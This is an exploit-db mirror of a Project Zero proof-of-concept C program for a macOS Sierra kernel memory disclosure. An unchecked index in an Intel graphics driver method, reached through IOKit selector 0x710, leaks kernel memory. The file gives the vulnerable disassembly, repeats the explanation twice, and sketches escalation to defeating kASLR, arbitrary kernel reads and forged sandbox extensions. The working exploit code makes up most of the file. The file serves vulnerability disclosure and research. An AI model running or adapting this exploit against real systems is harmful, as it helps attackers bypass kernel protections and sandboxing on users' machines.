exploit-db-mirror/platforms/macos/dos/41798.c

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1069

MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability

Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.

This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:

AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB                 mov     r14, rdx       ; output buffer, readable from userspace
__text:000000000002A3AE                 mov     rbx, rsi       ; input buffer, controlled from userspace
...
__text:000000000002A3B8                 mov     eax, [rbx]     ; read dword
__text:000000000002A3BA                 mov     rsi, [rdi+rax*8+0E40h]  ; use as index for small inline buffer in this object
__text:000000000002A3C2                 cmp     byte ptr [rsi+1DCh], 0  ; fail if byte at +0x1dc is 0
__text:000000000002A3C9                 jz      short ___fail
__text:000000000002A3CB                 add     rsi, 1E0Dh      ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2                 mov     edx, 1D8h       ; 0x1d8 bytes
__text:000000000002A3D7                 mov     rdi, r14        ; to the buffer which will be sent back to userspace
__text:000000000002A3DA                 call    _memcpy

For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.

With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.

tested on MacOS Sierra 10.12.2 (16C67)
*/

// ianbeer

// build: clang -o capri_mem capri_mem.c -framework IOKit

#if 0
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability

Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.

This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:

AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB                 mov     r14, rdx       ; output buffer, readable from userspace
__text:000000000002A3AE                 mov     rbx, rsi       ; input buffer, controlled from userspace
...
__text:000000000002A3B8                 mov     eax, [rbx]     ; read dword
__text:000000000002A3BA                 mov     rsi, [rdi+rax*8+0E40h]  ; use as index for small inline buffer in this object
__text:000000000002A3C2                 cmp     byte ptr [rsi+1DCh], 0  ; fail if byte at +0x1dc is 0
__text:000000000002A3C9                 jz      short ___fail
__text:000000000002A3CB                 add     rsi, 1E0Dh      ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2                 mov     edx, 1D8h       ; 0x1d8 bytes
__text:000000000002A3D7                 mov     rdi, r14        ; to the buffer which will be sent back to userspace
__text:000000000002A3DA                 call    _memcpy

For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.

With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.

tested on MacOS Sierra 10.12.2 (16C67)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach_error.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 4096;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0x1d8;

  for (int step = 1; step < 1000; step++) {
    memset(inputStruct, 0, inputStructCnt);
    *(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));

    outputStructCnt = 4096;
    memset(outputStruct, 0, outputStructCnt);
    
    err = IOConnectCallMethod(
      conn,
      0x710,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt); 

    if (err == KERN_SUCCESS) {
      break;
    }

    printf("retrying 0x2000 up - %s\n", mach_error_string(err));
  }

  uint64_t* leaked = (uint64_t*)(outputStruct+3);
  for (int i = 0; i < 0x1d8/8; i++) {
    printf("%016llx\n", leaked[i]);
  }

  return 0;
}